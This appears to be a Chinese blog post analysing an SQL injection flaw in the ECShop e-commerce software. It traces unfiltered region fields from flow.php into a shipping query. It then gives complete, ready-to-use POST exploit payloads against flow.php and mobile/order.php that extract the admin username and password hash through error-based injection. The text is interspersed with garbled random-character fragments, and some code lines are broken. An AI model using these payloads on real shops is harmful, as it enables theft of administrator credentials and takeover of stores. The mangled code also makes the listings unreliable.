ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

8 @3 `  r1 v9 M8 W& r    漏洞关键文件：
8 V/ H0 w7 n* n3 r% D1 K& _7 p
! M$ _7 {- A& C3 ]/ l    /includes/lib_order.php

    关键函数：

; G  j; z5 }6 E3 ^
+ m! c: y- A9 B2 t
" e* c% {) F0 O- t- k! u) A01     function available_shipping_list($region_id_list)

, K( |4 f# @& I, [5 G02 {

' @9 ?3 o, Q6 [. g  x03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
" F$ E2 E4 g* o/ J  {
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
0 T5 M3 N" Y5 ~0 s& c
  C0 j! g6 `( i% V* f2 F' t7 U05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
" X1 V1 c/ _# e) n# G# J' ]) g6 X
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

; `; Y3 b1 i: b3 Z07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
0 e* s8 s1 v+ [: f1 u2 J
7 K+ k: h( m% G2 [" _1 c08             'WHERE r.region_id ' . db_create_in($region_id_list) .

  D+ X& G, B: Q- }09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
) W" r( R0 k: H0 _5 s
11     return $GLOBALS['db']->getAll($sql);

* z# h' P: u* S% C$ L2 V& a2 V12 }
. x: Z- C0 Y+ \0 ?6 Z) b$ a- L
显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   
: K5 W# E" H' X( Y% Y2 M: g
6 X" o7 ]5 C7 d3 g( c1 Z6 g1 $shipping_list     = available_shipping_list($region);
2 b0 @6 l& B: c! L6 N* J: h# A
0 U% S1 H- \0 W0 f3 R7 R% P

+ _% m% F& M( e# P1 h1 f
- W! m- W6 q; l! l3 [, o" A
8 E9 V+ X/ s5 G" \+ G再对传入变量进行追踪：

) O( W& q, N6 A5 L" b第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);



8 @5 w" d* f, Q
, q% q$ H4 S3 a$ D; F4 v$ R
: W2 H. C3 d; \+ T1 a% j第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
8 ?4 c( c0 z0 K# X- n+ O
到了一个关键函数：

/includes/lib_order.php
0 U1 b! V% \+ j% J+ K3 Z, @


7 r8 ]. m: K# C' X+ T) P! M3 }* s
+ K$ D6 @/ ^. P6 }3 f2 A, Y! S7 @
01 function get_consignee($user_id)

3 Q; S- o. }) m9 |02 {
* C" ~3 g. e0 a! e% Z# m" {' u6 v
3 B0 I8 }! C7 c! Z! R03     if (isset($_SESSION['flow_consignee']))

, ?, U: |) c+ V( C5 l6 P( w04     {

( t1 R+ j& x9 {! @+ U05         /* 如果存在session，则直接返回session中的收货人信息 */
/ R8 \1 J  G! ~) A  d; z: }
06   

07         return $_SESSION['flow_consignee'];

+ F' g, R; j) ]9 D7 ^  @. F08     }
+ l2 c4 B% Q, c2 k3 k
6 f6 B" `6 N, w5 P7 y09     else

3 Q8 \, I, s( k10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

5 Z4 H. U+ j7 c( u2 C$ x' j+ z12         $arr = array();
) I. A4 t: b" \9 g" L" ^, e
13   
& i- p; p+ d8 r0 r% m* Z% m
6 T* ^" @9 q$ z8 J" ]14         if ($user_id > 0)
9 n/ o, [" y4 y+ o8 ?/ ^+ }; }3 K
15         {

6 r& Q9 p$ P8 \6 H" f1 |1 R16             /* 取默认地址 */
% l- ^( W. t4 O9 F/ D: K
17             $sql = "SELECT ua.*".
: X8 M" {. Z' a! s0 k% r4 \9 P
; q3 \% O. ~+ G0 W9 k- t6 S" v18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( h# k: [. ], t4 k. l+ J2 z
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
) k9 ?7 g8 e  L! H
20   
7 P5 E( }; ]3 w. e& K( ?
$ C" _) A0 W  J& k3 [! d21             $arr = $GLOBALS['db']->getRow($sql);
2 @7 M/ p3 q% M' u5 X! }0 V
22         }
0 O1 S' Q2 s3 e5 S; M) f2 q
/ G+ X0 S, R. R" m# G* ?23   
& y1 w* _' N4 Z: E* _8 @4 J
7 \$ p  ~. }- X+ l" ?24         return $arr;

25     }
( Q' c! s: j& }- B1 G
26 }
  K6 B  ^8 \3 D9 V
# W% k1 r0 V2 w6 W  m+ K显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
+ t( a5 f$ l  N) s+ N7 R( d' z( c1 {
" v; ~( }0 s: u' b( X

1 C- L7 O' g; I& E, j7 |1 V3 v: P关键点:

$ o- c6 \6 C1 \9 z第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, P9 A; a( d, x9 P% d1 m/ N. v, |
这里对传入参数反转义存入$_SESSION中。
* o$ a3 j' [* P- Y  l$ a


然后看下：
  P( N& b1 s8 E
5 V1 d1 l  i( P7 C% D: X) s

' w% W7 h: {. v  j   
6 g, X( l3 e$ H5 n5 T! m" j: G
0 |1 P# O% g. m! b# W. ?/ E01 $consignee = array(

. H9 q3 C5 b+ T' x& J02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
% @* W1 X/ B" s/ c+ \) j
: ~, l0 e: M# E& h) r  ]: i. j* u4 x03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
+ V" G' C* k8 k; f4 k* ]2 {
+ S6 j0 h% T+ H( n, g7 r7 {( A04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

# J% X/ A8 U8 f$ P9 g06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

- k# {0 ]' f/ I' e# N6 ]' c' r07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

. j. h4 G. v" ^, G  _+ f08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
3 I- S) F( s, @( t9 V5 B8 K5 ~0 P
) s& g2 d. Z  f% P* v4 ~. _( v09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
7 U6 [* a, W" k2 @
/ R8 M$ m* f' q. x/ ~0 {  S0 s10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
5 M! H  y- K4 T8 O3 ]
+ p2 I8 E# }+ C6 j0 }; _1 \. A11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

3 {4 `( b; L' ^0 r* d6 S  F3 t12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
" F+ |- }) k% j* h
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

7 |0 b+ X, Y3 F4 B! p& n7 w14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
/ V6 v% L: s8 B* M8 P) R! S
% B! _3 j0 s: d, J好了注入就这样出现了。

" Y" S" T7 U% h8 S# m' y2 C  p==================
- r+ W. G+ f; ]8 T1 h1 e) J
5 U- o+ P1 x/ R" g) D注入测试：

+ m9 ]5 m6 N7 O- X' [6 O; ^' m$ I环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106
$ N  n2 s% J: a' F
7 }- \6 P' F* i3 k% F

1.首先需要点击一个商品加入购物车
( U  z) @* V; s
2.注册一个会员帐号
$ T+ w9 ?( r, F
2 o! A: M4 ]$ D0 J/ v/ L: J3.post提交数据



! f9 E2 F1 S* h7 `/ A1 http://127.0.0.1/ecshop/flow.php
4 `! x( a& P5 ]8 r
2   
' V9 H" |( O, d% G8 ]9 N$ z9 L
5 l7 T# a' U* Q. T0 C( R- L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
! p& L6 ^! c% ]8 J举一反三，我们根据这个漏洞我们可以继续深入挖掘：

. f% ~8 ], v6 i, C/ W; `  S我们搜寻关键函数function available_shipping_list()
8 e7 J7 w( a( V4 N
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
1 J) ]) ^) }5 D
利用exp:
$ u, C1 H5 b! ?
4 }0 `& L; ~+ A/ g1.点击一个商品，点击购买商标
3 D' H2 u" }0 J% a5 ~- M
2.登录会员帐号
7 F: r+ D3 q0 J  Y9 K' J
7 }. I* o) m; I6 X9 m3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
3 N: D4 R. |8 M7 |5 g0 p
8 g( x/ I6 l7 S3 ?: z/ Q

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=